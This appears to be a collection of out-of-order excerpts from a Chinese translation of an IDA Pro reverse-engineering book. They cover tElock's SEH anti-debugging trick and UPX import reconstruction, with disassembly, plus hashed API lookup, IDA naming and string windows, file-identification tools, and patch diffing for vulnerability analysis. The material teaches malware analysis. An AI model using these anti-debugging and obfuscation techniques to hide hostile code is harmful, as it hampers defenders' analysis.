    {"text": "下面的例子被tElock 反逆向工程工具用于隐藏程序的真实控制流： 4. 有关 Windows结构化异常处理（SEH ）的更多信息，参见 http://www.microsoft.com/msj/0197/exception/exception.aspx 。"},
    {"text": "➊ .shrink:0041D07A call $+5 ➋ .shrink:0041D07F pop ebp ➌ .shrink:0041D080 lea eax, [ebp+46h] ; eax holds 0041D07F + 46h .shrink:0041D081 inc ebp ➍ .shrink:0041D083 push eax .shrink:0041D084 xor eax, eax ➎ .shrink:0041D086 push dword ptr fs:[eax] ➏ .shrink:0041D089 mov fs:[eax], esp ➐ .shrink:0041D08C int 3 ; Trap to Debugger .shrink:0041D08D nop .shrink:0041D08E mov eax, eax .shrink:0041D090 stc .shrink:0041D091 nop .shrink:0041D092 lea eax, ds:1234h[ebx*2] .shrink:0041D099 clc .shrink:0041D09A nop .shrink:0041D09B shr ebx, 5 .shrink:0041D09E cld .shrink:0041D09F nop .shrink:0041D0A0 rol eax, 7 .shrink:0041D0A3 nop .shrink:0041D0A4 nop ➑ .shrink:0041D0A5 xor ebx, ebx ➒ .shrink:0041D0A7 div ebx ; Divide by zero .shrink:0041D0A9 pop dword ptr fs:0 首先，这段代码使用一个调用指令（➊）调用下一条指令（➋），这个调用指令将 0041D07F 作为返回地址压入栈中，随后这个返回地址立即由栈进入 EBP 寄存器（➋）。 接下来（➌），EAX寄存器被设置为 EBP 和 46h 的和，即 0041D0C5 ，并将这个地址作为一个异常处理函数的地址压入栈中（➍ ）。"},
    {"text": "下一步是有意生成一个异常（➐），这里为 int 3 ，它是调试器使用的一个软件陷阱（中断）。 在 x86 程序中， int 3 指令被调试器用于实现一个软件断点。"},
    {"text": "正常情况下，这时一个依附于进程的调试器将获得控制权。 实际上，如果一个调试器已经依附于进程，它将有机会第一个处理异常（把它看成是一个断点）。 在这个例子中，程序已做好处理异常的准备，因此，任何依附的调试器应将异常递交给程序处理。"},
    {"text": "无法使程序处理异常可能会导致错误操作，甚至会使程序崩溃。 如果不了解如何处理 int 3 异常，你将无法知道这个程序下一步将如何执行。 如果我们假定程序会在 int 3 后继续执行，那么最终指令➑和➒将触发一个“除以零”异常。"},
    {"text": "这个函数的第一部分如下所示： .shrink:0041D0C5 sub_41D0C5 proc near ; DATA XREF: .stack:0012FF9C ↑o .shrink:0041D0C5 .shrink:0041D0C5 pEXCEPTION_RECORD = dword ptr 4 .shrink:0041D0C5 arg_4 = dword ptr 8 ➊ .shrink:0041D0C5 pCONTEXT = dword ptr 0Ch .shrink:0041D0C5 ➍ .shrink:0041D0C5 mov eax, [esp+pEXCEPTION_RECORD] ➋ .shrink:0041D0C9 mov ecx, [esp+pCONTEXT] ; Address of SEH CONTEXT ➌ .shrink:0041D0CD inc [ecx+CONTEXT._Eip] ; Modify saved eip ➎ .shrink:0041D0D3 mov eax, [eax] ; Obtain exception type ➏ .shrink:0041D0D5 cmp eax, EXCEPTION_INT_DIVIDE_BY_ZERO .shrink:0041D0DA jnz short loc_41D100 .shrink:0041D0DC inc [ecx+CONTEXT._Eip] ; Modify eip again ➐ .shrink:0041D0E2 xor eax, eax ; Zero x86 debug registers .shrink:0041D0E4 and [ecx+CONTEXT.Dr0], eax .shrink:0041D0E7 and [ecx+CONTEXT.Dr1], eax .shrink:0041D0EA and [ecx+CONTEXT.Dr2], eax .shrink:0041D0ED and [ecx+CONTEXT.Dr3], eax .shrink:0041D0F0 and [ecx+CONTEXT.Dr6], 0FFFF0FF0h .shrink:0041D0F7 and [ecx+CONTEXT.Dr7], 0DC00h .shrink:0041D0FE jmp short locret_41D160 传递给异常处理函数的第三个参数（➊ ）是一个指向一个Windows CONTEXT 结构体（在Windows API 头文件winnt.h中定义）的指针。"},
    {"text": "如果异常处理程序认为它已经更正了导致异常的问题，它可以通知操作系统，允许导致异常的线程继续执行。 这时，操作系统会从提供给异常处理程序的 CONTEXT 结构体中，为这个线程重新加载CPU 寄存器，线程将恢复执行，就好像什么也没有发生一样。 在上面的例子中，异常处理程序首先访问线程的 CONTEXT 结构体（➋），以递增指令指针（➌），从而移动到生成异常的指令之外。"},
    {"text": "6. 在x86 中，调试寄存器0～7（Dr0～Dr7）用于控制硬件辅助断点的使用。 Dr0～Dr3 用于指定断点地址，而Dr6和Dr7 则用于启用和禁用特定的硬件断点。"},
    {"text": "生成的可执行文件被输入到一个模糊实用工具中，后者将原始程序转换成一个功能相同但经过模糊的二进制文件。 模糊实用工具负责模糊原始程序的代码和数据节，并增加另一段代码（一个去模糊存根），在运行时访问原始功能之前，这个存根负责对代码和数据进行去模糊处理。 模糊实用工具还修改程序的头部，将程序的入口点重定向到去模糊存根，确保从去模糊过程开始执行。 在去模糊后，执行通常会进入原始程序的入口点，这时，程序将开始执行，就好像它根本没有被模糊处理一样。"},
    {"text": "相关程序包括：UPX 7 （压缩器，也用于 ELF ）、ASPack 8 （压缩器）、ASProtect（ASPack的制造者开发的反逆向工程工具）、用于Windows PE文件的tElock 9 （压缩和反逆向工程工具）、用于Linux ELF 二进制文件的 Burneye 10 （加密）和 Shiva 11 （加密和反调试）。"},
    {"text": "模糊实用工具的功能已经取得很大的进步，一些反逆向工程工具，如 WinLicense 12 ，能够为整个构建过程提供更紧密的集成，允许程序员在构建过程的每一个步骤（从源代码到已编译二进制文件的后处理阶段）集成反逆向工程功能。"},
    {"text": "多数情况下，这类工具的目的是找到原始的、不受保护的可执行文件（或者一个合适的摹本），然后使用反汇编器和调试器等更加传统的工具对它进行分析。"},
    {"text": "和其他许多自动化的解压程序一样，QuickUnpack以调试器的方式运行，并允许一个模糊的二进制文件执行，直到它的去模糊阶段，然后从内存捕获进程映像。"},
    {"text": "需要小心的是，这类工具可用于运行潜在的恶意程序，希望在这些程序解压或去模糊后，但又在它们有机会执行任何恶意行为之前，阻止这些程序执行。"},
    {"text": "图21-2 一个使用 UPX打包的二进制文件的IDA 导航带 分析地址空间的内容，可以发现➊左边的空白空间，以及➊和➋之间区域内明显的随机数据。"},
    {"text": "注意，导航栏的这种少见的外观是一种潜在的暗示，说明这个二进制文件已经以某种形式被模糊处理。 实际上，使用 IDA 查看已被模糊处理的二进制文件时，通常你会得到许多暗示。 说明二进制文件被模糊处理的一些可能的暗示如下所示。"},
    {"text": "这个二进制文件的段代码清单如下所示： Name Start End R W X D L Align Base Type Class ➊ UPX0 00401000 00407000 R W X . L para 0001 public CODE ➋ UPX1 00407000 00409000 R W X . L para 0002 public CODE UPX2 00409000 0040908C R W . . L para 0003 public DATA .idata 0040908C 004090C0 R W . . L para 0003 public XTRN UPX2 004090C0 0040A000 R W . . L para 0003 public DATA 在这个例子中，由段 UPX0 （➊）和段 UPX1 （➋）组成的整个地址范围（ 00401000～00409000 ）被标记为可执行文件（已设置 X 标志）。"},
    {"text": "在 IDA 中， UPX0 的节头部包含以下行： UPX0:00401000 ; Section 1. (virtual address 00001000) UPX0:00401000 ; Virtual size : 00006000 ( 24576.) UPX0:00401000 ; ➊ Section size in file : 00000000 ( 0.) UPX0:00401000 ; Offset to raw data for section: 00000200 UPX0:00401000 ; ➋ Flags E0000080: Bss Executable Readable Writable 使用IDA 在静态上下文中（根本不执行二进制文件）执行解压操作的技巧将在21.3 节讨论。"},
    {"text": "21.1.3 导入的函数模糊 为了避免泄漏与二进制文件可能执行的与可能操作有关的信息，另一种反静态分析技巧专用于难以确定模糊二进制文件所使用的共享库和库函数。"},
    {"text": "前面 tElock 示例的“导出”窗口的整个内容如下所示： Address Ordinal Name Library 0041EC2E GetModuleHandleA kernel32 0041EC36 MessageBoxA user32 只有两个外部函数被引用： GetModulehandleA （来自kernel32.dll ）和 MessageBoxA （来自user32.dll ）。"},
    {"text": "同样，在这方面，程序采用的技巧多种多样，但是基本上归结于一个事实，即程序本身必须加载它依赖的任何其他库，一旦库被加载，程序必须在这些库中定位所需的任何函数。"},
    {"text": "Address Ordinal Name Library 0040908C LoadLibraryA KERNEL32 00409090 GetProcAddress KERNEL32 00409094 ExitProcess KERNEL32 0040909C RegCloseKey ADVAPI32 004090A4 atoi CRTDLL 004090AC ExitWindowsEx USER32 004090B4 InternetOpenA WININET 004090BC recv wsock32 负责重建导入表的 UPX 代码如代码清单 21-1 所示。 代码清单 21-1 UPX 中的导入表重建 UPX1:0040886C loc_40886C: ; CODE XREF: start+12E↓ j UPX1:0040886C mov eax, [edi] UPX1:0040886E or eax, eax UPX1:00408870 jz short loc_4088AE UPX1:00408872 mov ebx, [edi+4] UPX1:00408875 lea eax, [eax+esi+8000h] UPX1:0040887C add ebx, esi UPX1:0040887E push eax UPX1:0040887F add edi, 8 ➊ UPX1:00408882 call dword ptr [esi+808Ch] ; LoadLibraryA UPX1:00408888 xchg eax, ebp UPX1:00408889 UPX1:00408889 loc_408889: ; CODE XREF: start+146↓ j UPX1:00408889 mov al, [edi] UPX1:0040888B inc edi UPX1:0040888C or al, al UPX1:0040888E jz short loc_40886C UPX1:00408890 mov ecx, edi UPX1:00408892 push edi UPX1:00408893 dec eax UPX1:00408894 repne scasb UPX1:00408896 push ebp ➋ UPX1:00408897 call dword ptr [esi+8090h] ; GetProcAddress UPX1:0040889D or eax, eax UPX1:0040889F jz short loc_4088A8 ➌ UPX1:004088A1 mov [ebx], eax ; Save to import table UPX1:004088A3 add ebx, 4 UPX1:004088A6 jmp short loc_408889 这个例子包含一个负责调用 LoadLibraryA 17 （➊）的外层循环和一个负责调用 GetProcAddress （➋）的内层循环。"},
    {"text": "这些循环作为 UPX 去模糊存根的最后一部分执行，因为每个函数包含指向一个库名称或函数名称的字符串指针参数，且相关的字符串保存在压缩数据区域，以避免被 strings 实用工具检测。"},
    {"text": "下面的代码片段说明了 tElock 如何定位 LoadLibraryA 的地址： 18. 参见 http://www.hick.org/code/skape/papers/win32-shellcode.pdf ，尤其是第3 章的3.3节。"},
    {"text": ".shrink:0041D1E4 cmp dword ptr [eax], 64616F4Ch .shrink:0041D1EA jnz short loc_41D226 .shrink:0041D1EC cmp dword ptr [eax+4], 7262694Ch .shrink:0041D1F3 jnz short loc_41D226 .shrink:0041D1F5 cmp dword ptr [eax+8], 41797261h .shrink:0041D1FC jnz short loc_41D226 很明显，这段代码快速连续进行了几次比较。"},
    {"text": "格式化后的代码如下所示： .shrink:0041D1E4 cmp dword ptr [eax], 'daoL' .shrink:0041D1EA jnz short loc_41D226 .shrink:0041D1EC cmp dword ptr [eax+4], 'rbiL' .shrink:0041D1F3 jnz short loc_41D226 .shrink:0041D1F5 cmp dword ptr [eax+8], 'Ayra' .shrink:0041D1FC jnz short loc_41D226 每个十六进制常量实际上是一个由 4 个ASCII 字符组成的序列，它们按顺序（前面讲过，x86是一种小端处理器，因此我们需要颠倒顺序读取这些字符）拼写成 LoadLibraryA 。"},
    {"text": "如果这 3 个比较成功，则说明 tElock 已经定位了 LoadLibraryA 的导出表条目，再经过几个简单的操作，将可以获得这个函数的地址，并用它加载其他库。"},
    {"text": "使用tElock 进行函数查询有一个有趣的特点，即它似乎有些“抗拒”字符串分析，因为直接嵌入到程序指令中的4 字节常量看起来并不像更加标准的、以零为终止符的字符串，因而并未包含在 IDA 生成的字符串列表中。"},
    {"text": "使用UPX和tElock 时，通过仔细分析程序代码手动重建一个程序的导入表要更加容易一些，因为最终它们都将包含一些ASCII 字符数据，我们可以利用这些数据确定程序到底引用了哪些库和函数。"},
    {"text": "要解析每一个函数，首先搜索一个库的导出名称表，然后对表中的每个名称进行散列处理，再将得到的散列值与为相关函数预先计算的散列值进行比较，如果这两个散列值相互匹配，则说明你已经找到这个函数的位置，并在相关库的导出地址表中轻易找到它的地址。 为了静态分析以这种方式模糊处理的二进制文件，你需要了解对每个函数名称使用的散列算法，并将该算法应用于程序搜索的库导出的所有名称。"},
    {"text": "20 如下所示是一个由kernel32.dll 生成的散列表的一部分： 19. 散列函数是一个算术过程，它由一个任意大小的输入（如一个字符串）获得一个固定大小（如4 字节）的结果。"},
    {"text": "➊ GetProcAddress : 8A0FB5E2 GetProcessAffinityMask : B9756EFE GetProcessHandleCount : B50EB87C GetProcessHeap : C246DA44 GetProcessHeaps : A18AAB23 GetProcessId : BE05ED07 需要注意的是，散列值特定于某个特殊的库所使用的散列函数，并且可能因库而异。 使用这个特殊的表，如果在程序中遇到散列值 8A0FB5E2 （➊ ），我们可以迅速确定程序正尝试查询 GetProcAddress 函数的地址。"},
    {"text": "未知 7.1 名称与命名 到现在为止，我们已经在IDA 反汇编窗口中遇到了两类名称：与虚拟地址（已命名的位置）有关的名称和与栈帧变量有关的名称。"},
    {"text": "多数情况下，要修改一个名称，只需单击你希望修改的名称（使其突出显示），并使用热键N 打开更名对话框。 另外，右击需要修改的名称，并在出现的上下文菜单中选择Rename选项（如图6-5所示），也可以更改名称。"},
    {"text": "7.1.1 参数和局部变量 与栈变量有关的名称是反汇编代码清单中最简单的名称，这主要是因为它们与特定的虚拟地址无关，因而从未出现在名称窗口中。"},
    {"text": ".text:00401090 ; =========== S U B R O U T I N E ========================= .text:00401090 .text:00401090 ; Attributes: bp-based frame .text:00401090 .text:00401090 demo_stackframe proc near ; CODE XREF: sub_4010C1+41↓p .text:00401090 .text:00401090 var_60 = dword ptr -60h .text:00401090 ➊y = dword ptr -5Ch .text:00401090 var_58 = byte ptr -58h .text:00401090 var_C = dword ptr -0Ch .text:00401090 arg_4 = dword ptr 0Ch .text:00401090 arg_8 = dword ptr 10h .text:00401090 .text:00401090 push ebp .text:00401091 mov ebp, esp .text:00401093 sub esp, 112 .text:00401096 mov eax, [ebp+arg_8] .text:00401099 mov [ebp+var_C], eax .text:0040109C mov eax, [ebp+arg_4] .text:0040109F mov [ebp+y], eax .text:004010A2 mov [ebp+var_60], 0Ah .text:004010A9 mov [ebp+var_58], 41h .text:004010AD mov eax, [ebp+➊y] .text:004010B0 mov [esp+4], eax .text:004010B4 mov eax, [ebp+var_60] .text:004010B7 mov [esp], eax .text:004010BA call bar .text:004010BF leave .text:004010C0 retn .text:004010C0 demo_stackframe endp 如果你希望恢复某个变量的默认名称，打开更名对话框，在输入框中输入一个空白名称，IDA将为你生成默认的名称。"},
    {"text": "最大名称长度对应于IDA的一个配置文件（/cfg/ida.cfg）中的某个值。 你可以使用任何超出这个长度的名称，这时，IDA 会显示警告消息，提醒你已经超出了最大名称长度，并要求为你增加最大名称长度设置。 如果你选择这样做，IDA 将仅在当前数据库中采用新设置的最大名称长度值，而你创建的任何新数据库仍将继续采用配置文件中指定的最大名称长度。"},
    {"text": "与局部变量一样，两个不同的函数可能含有完全相同的 局部名称，但一个函数不可能包含两个完全相同的局部名称。 在函数边界以外的已命名 的位置不能被指定为局部名称，这包括表示函数及全局变量的名称。"},
    {"text": "如果你正在全局范围内编辑一个名称（如函数名称或全局变量），并且尝试分配一个数据库中已经存在的名称，这时，IDA 将会显示名称冲突对话框，如图7-3所示。"},
    {"text": "如果编译器选择将变量分配到寄存器中，而不是程序栈上，并且你希望使用一个比EDX更恰当的名称来引用这个变量，这时重命名寄存器才有用处。"},
    {"text": "重命名寄存器时，你实际上是提供了一个别名，并使用它在当前函数执行期间引用该寄存器（IDA 甚至在函数开始部分用 alias=register 语法来表示这个别名）。"},
    {"text": "未知 16.3 小结 本章中描述的函数和数据结构仅仅是 IDA API 的冰山一角。对于我们讨论的每一类函数，还有更多API 函数可以执行更加特殊的任务，与使用 IDC 脚本相比，它们能够对各种数据库元素进行更加细化的控制。下面几章将详细介绍如何构建插件模块、加载器模块和处理器模块，并继续深入讨论 SDK 的功能。 未知 第10章 IDA的多种面孔 多年来，Windows GUI 版本是 IDA 系列中的明星。自 IDA6.0发布以来，这种情况已经发生了改变，因为 Linux和OS X用户现在能够使用针对他们平台的 IDA GUI 版本。然而，这个新版本的出现并不能改变一个事实，即用户还可以通过其他一些方式来使用IDA 。最初的IDA 实际上是一个 MS-DOS 控制台应用程序，至今，IDA 仍然沿用这种控制台版本。而在其内置的远程调试功能之上，IDA 又是一种强大的分析和调试工具。 除交互功能外，IDA 的所有版本都提供一种批处理模式，以自动处理大量文件。使用IDA进行高效批处理的关键在于了解每个 IDA 版本的用途和限制，并根据自己的需要选择适当的IDA版本。本章将讨论如何在其他平台上运行 IDA ，以及如何充分利用 IDA 的批处理功能。 未知 第3章 IDA Pro 背景知识 交互式反汇编器专业版（Interactive Disassembler Professional），人们常称为 IDA Pro，或简称为IDA ，是总部位于比利时列日市（Liège）的Hex-Rays 1 公司销售的一款产品。开发IDA 的编程天才名叫 Ilfak Guilfanov，人们常叫他 Ilfak 。十多年前诞生时，IDA 还是一个基于控制台的 MS-DOS 应用程序，这一点很重要，因为它有助于我们理解 IDA 用户界面的本质。除其他内容外，IDA 的非GUI 版本是针对所有 IDA 支持的平台 2 发布的，并且继续采用源于最初DOS版本的控制台形式的界面。 1. 多年来，IDA 一直由DataRescue 公司销售。但自 2008年1 月，Ilfak 开始通过他自己的公司Hex-Rays 推广和销售IDA 。 2. 目前支持的平台是Windows、Linnux 和OSX 。 就其本质而言，IDA 是一种递归下降反汇编器。但是，为了提高递归下降过程的效率，IDA的开发者付出了巨大的努力，来为这个过程开发逻辑。为了克服递归下降的一个最大的缺点，IDA应用大量启发式技术来识别那些在递归下降过程中遗漏的代码。除反汇编过程本身外，IDA 在区分数据与代码的同时，还设法确定这些数据的类型。虽然你在 IDA 中看到的是汇编语言形式的代码，但IDA 的主要目标之一在于，呈现尽可能接近源代码的代码。此外，IDA 不仅使用数据类型信息，而且通过派生的变量和函数名称来尽其所能地注释生成的反汇编代码。这些注释将原始十六进制代码的数量减到最少，并显著增加了向用户提供的符号化信息的数量。 未知 23.5 Class Informer 如第8 章所述，C++ 程序可能包括有助于你发现类名称和类层次结构的信息。这些嵌入的信息旨在为 C++ 运行时类型识别（RTTI）提供支持。 Sirmabus 开发的 C++ Class Informer插件主要用于逆向工程使用 Microsoft Visual Studio编译的C++ 代码。Class Informer通过标识虚拟函数表（vtable 或vftable ）及RTTI信息，然后提取出相关类名称与继承信息，从而自动完成Igor Skochinsky 在他的有关逆向工程 Microsoft Visual C++ 1 的OpenRCE 文章中描述的大部分工作。 1. 参见 http://www.openrce.org/articles/fullview/23 。 表23-5 Class Informer 名称 Class Informer 作者 Sirmabus 发布 仅二进制格式 价格 免费 描述 MSVC C++ 类识别插件 信息 http://www.macromonkey.com/downloads/I DAPlugIns/Class_ Informer102.zip 激活后，Class Informer 将显示如图 23-4 所示的选项对话框，以便于用户规定 Class Informer应在二进制文件的什么位置扫描 vtable，并允许用户控制 Class Informer 输出的详细程度。 图23-4 Class Informer 选项对话框 用户单击“Continue”（继续）按钮后，Class Informer将开始扫描，扫描过程可能要花费一段时间，具体取决于二进制文件的大小以及 Class Informer遇到的虚拟函数表的数量。扫描完成后，Class Informer 将在IDA 中打开一个新的选项卡式窗口以汇总扫描结果。Class Informer输出的部分代码清单如下所示： ➊ Vftable ➋ Method count ➌ Class & structure info 0041A298 0003 ChildClass; [MI] 0041A2A8 0003 ChildClass: SuperClass1, SuperClass2; [MI] 0041A2B8 0003 SuperClass1; [SI] 0041A2C8 0003 SuperClass2; [SI] 0041A2D8 0004 BaseClass; [SI] 0041A2EC 0005 SubClass: BaseClass; [SI] 对于发现的每个虚拟函数表，Class Informer将显示vtable 的地址（➊）、方法计数（➋，等于vtable 中所包含的函数指针的数量），以及有关由嵌入的RTTI信息得到的每个类的摘要信息（➌ ）。发现的类信息包括类名称、任何超级类的名称，以及说明类是继承自单一基类（ [SI] ），还是继承自多个基类（ [MI] ）。对于发现的每个vtable，Class Informer 还会对所有与类有关的 RTTI相关数据结构应用结构模板，并根据 Microsoft 的名称改编方案命名每个结构及类的 vtable。不管逆向工程多么复杂的 Visual C++代码，Class Informer 都可以为你节省大量时间。"},
    {"text": "5.3.1 Strings窗口 Strings 窗口是IDA 中内置的，功能等同于strings及其他一些实用工具。 在IDA 5.1及之前的版本中，桌面默认打开Strings 窗口。 但是，从5.2版开始，IDA 不再默认打开Strings 窗口，不过用户仍然可以通过View▶Open Subviews▶Strings 命令打开该窗口。 Strings 窗口中显示的是从二进制文件中提取出的一组字符串，以及每个字符串所在的地址。 与双击Names窗口中的名称得到的结果类似，双击Strings 窗口中的任何字符串，反汇编窗口将跳转到该字符串所在的地址。 将Strings 窗口与交叉引用（第9章将介绍）相结合，可迅速定位你感兴趣的字符串，并追踪到程序中任何引用该字符串的位置。"},
    {"text": "扫描字符串的操作遵照Strings 窗口的设置来完成，右击该窗口，在出现的菜单中选择Setup，即可开始设置。 如图5-7所示，Setup Strings窗口用于指定IDA 应扫描的字符串类型。"},
    {"text": "IDA 默认扫描的字符串类型为至少包含5个字符的C风格、以 null 结尾的7位ASCII字符串。 图5-7 Setup Strings窗口 如果希望在字符串窗口中显示除C风格字符串以外的字符串，你需要重新配置Setup Strings窗口，从中选择IDA 扫描的相应字符串类型。"},
    {"text": "这个选项会使IDA 扫描指令和现有数据定义中的字符串。 使用这个选项，可以让IDA 扫描二进制代码中错误地转换成指令的字符串，或扫描数据中非字符串格式（如字节数组或整数）的字符串。"},
    {"text": "在对一个程序进行反汇编的过程中，IDA 会为所有直接作为代码（分支或调用目标）或数据（读取的、写入的或使用的地址）引用的位置生成名称。"},
    {"text": "如果一个位置已在程序符号表中命名，IDA 将采用该名称。 如果符号表中某一程序位置没有名称，则IDA 会生成一个默认的名称，以在反汇编过程中使用。 在IDA 给某个位置命名时，它会使用该位置的虚拟地址和一个表示该位置的类型的前缀进行命名。"},
    {"text": "sub_ xxxxxx ：地址 xxxxxx 处的子例程。 loc_ xxxxxx ：地址 xxxxxx 处的一个指令。 byte_ xxxxxx ：位置 xxxxxx 处的8位数据。 word_ xxxxxx ：位置 xxxxxx 处的16 位数据。 dword_ xxxxxx ：位置 xxxxxx 处的32 位数据。 unk_ xxxxxx ：位置 xxxxxx 处的大小未知的数据。"},
    {"text": "下面是IDA 在分析一个Windows二进制文件时显示的段窗口： Name Start End R W X D L Align Base Type Class AD es ss ds fs gs UPX0 00401000 00407000 R W X . L para 0001 public CODE 32 0000 0000 0001 FFFFFFFF FFFFFFFF UPX1 00407000 00408000 R W X . L para 0002 public CODE 32 0000 0000 0001 FFFFFFFF FFFFFFFF UPX2 00408000 0040803C R W . . L para 0003 public DATA 32 0000 0000 0001 FFFFFFFF FFFFFFFF .idata 0040803C 00408050 R W . . L para 0003 public XTRN 32 0000 0000 0001 FFFFFFFF FFFFFFFF UPX2 00408050 00409000 R W . . L para 0003 public DATA 32 0000 0000 0001 FFFFFFFF FFFFFFFF 从上面的例子可以立即发现这个特殊的二进制文件有点奇怪，因为它使用了非标准的段名称，并包含两个可写入的可执行代码段，这表示它们可能是自修改代码（更多内容将在第21 章讨论）。"},
    {"text": "签名用于识别由编译器生成的常用启动顺序，以确定可能已被用来构建给定二进制文件的编译器。 签名还可用于将函数划归为由编译器插入的已知库函数，或者因为静态链接而添加到二进制文件中的函数。"},
    {"text": "在IDA 为你识别库函数时，你可以将更多精力放在分析IDA 无法识别的代码上（对你而言，这可能比对 printf 的内部工作机制进行逆向工程更加有趣）。"},
    {"text": "Windows PE文件的签名窗口的示例如下所示： File State #func Library name vc32rtf Applied 501 Microsoft VisualC 2-8/net runtime 这个例子表明，IDA 已对该二进制文件应用了 vc32rtf 签名（来自/sigs目录），并在这个过程中将501个函数识别为库函数。"},
    {"text": "类型库保存IDA 积累的一些信息，即IDA 从最常用的编译器的头文件中搜集到的有关预定义数据类型和函数原型的信息。 通过处理头文件，IDA 可确定常用库函数所需的数据类型，并为反汇编代码提供相应的注释。"},
    {"text": "函数调用窗口提供了这类“近邻”的问题的答案。 打开函数调用窗口时，IDA 会确定光标所在位置的函数的“近邻”，并生成如图5-10 所示的窗口。"},
    {"text": "下面是一组问题： Address Type Instruction .text:0040104C BOUNDS call eax .text:004010B0 BOUNDS call eax .text:00401108 BOUNDS call eax .text:00401350 BOUNDS call dword ptr [eax] .text:004012A0 DECISION push ebp .text:004012D0 DECISION push ebp .text:00401560 DECISION jmp ds:__set_app_type .text:004015F8 DECISION dd 0FFFFFFFFh .text:004015FC DECISION dd 0 可以看到，每个问题都注明了问题发生的地址、问题的类型以及问题所在位置的指令。"},
    {"text": "如果无法确定调用或跳转的目标（例如在上例中，IDA 无法获得 eax 的值），或者该目标明显不在程序的虚拟地址范围内，这时就会发生 BOUNDS 问题。"},
    {"text": "DECISION 问题通常表示IDA 决定将一个地址上的字节作为指令而非数据进行反汇编，即使这个地址在递归下降指令遍历（参见第1章）过程中从未被引用也是如此。"},
    {"text": "未知 2.1 分类工具 通常，在初次遇到一个不熟悉的文件时，有必要问自己一些简单的问题，如“这是个什么文件”，回答这个问题的首要原则是，绝不要根据文件的扩展名来确定文件的类型。"},
    {"text": "Windows PE executable file 00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ .............. 00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... Jpeg image file 00000000 FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 ...... JFIF .....` 00000010 00 60 00 00 FF DB 00 43 00 0A 07 07 08 07 06 0A .`.....C........ Java .class file 00000000 CA FE BA BE 00 00 00 32 00 98 0A 00 2E 00 3E 08 .......2......>. 00000010 00 3F 09 00 40 00 41 08 00 42 0A 00 43 00 44 0A .?..@.A..B..C.D. file 能够识别大量的文件格式，包括数种ASCII 文本文件、各种可执行文件和数据文件。"},
    {"text": "以下代码证实了 file 不仅能够识别几种不同的 ELF 二进制文件，而且还提供了有关二进制文件如何链接（静态或动态）以及是否去除了符号等信息。"},
    {"text": "idabook# file ch2_ex_ ch2_ex.exe: MS-DOS executable PE for MS Windows (console) Intel 80386 32-bit ch2_ex_upx.exe: MS-DOS executable PE for MS Windows (console) Intel 80386 32-bit, UPX compressed ch2_ex_freebsd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 5.4, dynamically linked (uses shared libs), FreeBSD-style, not stripped ch2_ex_freebsd_static: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 5.4, statically linked, FreeBSD-style, not stripped ch2_ex_freebsd_static_strip: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 5.4, statically linked, FreeBSD-style, stripped ch2_ex_linux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped ch2_ex_linux_static: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, not stripped ch2_ex_linux_static_strip: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, stripped ch2_ex_linux_stripped: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), stripped 去除二进制可执行文件的符号 “去除二进制文件的符号”是指从二进制文件中删除符号。"},
    {"text": "2.1.2 PE Tools PE Tools 4 是一组用于分析 Windows系统中正在运行的进程和可执行文件的工具。 PE Tools 的主界面如图 2-1所示，其中列出了所有活动进程，你可以通过该界面访问PE Tools 的所有实用工具。"},
    {"text": "图2-1 PE Tools 实用工具 在进程列表中，用户可以将一个进程的内存映像转储到某个文件中，也可以使用 PE Sniffer实用工具确定可执行文件由何种编译器构建，或者该文件是否经过某种已知的模糊实用工具的模糊处理。"},
    {"text": "二进制文件模糊技术 模糊（obfuscation ）指任何掩盖真实意图的行为。 应用于可执行文件时，模糊则是指任何掩盖程序真实行为的行为。 出于各种原因，程序员可能会采用模糊技术，如保护专有算法及掩盖恶意意图。 几乎所有的恶意软件都采用了某种模糊技术，以防止人们对其进行分析。"},
    {"text": "2.1.3 PEiD PEiD 5 是另一款 Windows 工具，它主要用于识别构建某一特定 Windows PE二进制文件所使用的编译器，并确定任何用于模糊 Windows PE二进制文件的工具。"},
    {"text": "图2-2 PEiD实用工具 PEiD的许多其他功能与 PE Tools 的功能相同，包括显示 PE文件头信息摘要、收集有关正在运行的进程的信息、执行基本的反汇编等。"},
    {"text": "未知 第22章 漏洞分析 在开始本章讨论之前，需要澄清一个问题：IDA 不是一个漏洞发现工具。我们说过，这真是一种解脱！在一些人心中，IDA 似乎具有神奇的力量。许多人似乎认为，仅仅用IDA 打开一个二进制文件，就能揭示宇宙中的所有秘密；IDA 会自动生成注释，清楚地解释恶意软件的行为；漏洞将会以红色突出显示；如果你在某段使用复活节彩蛋激活的晦涩代码上右击鼠标，IDA 将自动生成入侵代码……。 虽然IDA 确实是一个功能非常强大的工具，但是，如果没有坐在计算机前的聪明用户（以及一组方便的脚本和插件），它只不过是一个反汇编器/ 调试器而已。作为一种静态分析工具，它只能帮助你确定软件漏洞的位置。最终，你需要运用自己的技能，确定 IDA 是否能够使你更容易地搜索到漏洞。根据我们的经验，IDA 并不是查找新漏洞的最佳工具 1 ，但是如果与调试器结合使用，一旦我们发现一个漏洞，它将成为一个最佳工具，可以帮助我们开发破解程序。 1. 通常，与静态分析相比，使用模糊测试往往能够发现更多的漏洞。 在过去几年中，IDA 已经开始在发现现有漏洞时扮演一个新角色。起初，搜索现有漏洞的做法似乎并不寻常，但那是因为我们没有问这个问题：对于这些漏洞，我们到底了解哪些信息？了解这些信息的人又是谁？在闭源、二进制占绝对主导的软件领域，供应商经常发布软件补丁，但并不详细说明这些补丁的作用，以及为什么发布这些补丁。通过对一款软件打过补丁的新版本与未打补丁的旧版本进行差异性分析，我们可以隔离出二进制文件中发生变化的区域。假设这些变化不会无故发生，这种差异性分析技巧能够为我们提供启示，确定之前易受攻击的代码序列。由于搜索范围明显缩小，掌握必要的技能，人们就能够开发出一个示例破解程序，用于未打补丁的系统。实际上，由于微软在发布补丁方面众所周知的“补丁星期二”周期，每个月都有大量安全 研究人员准备静下心来，进行一次差异性分析。 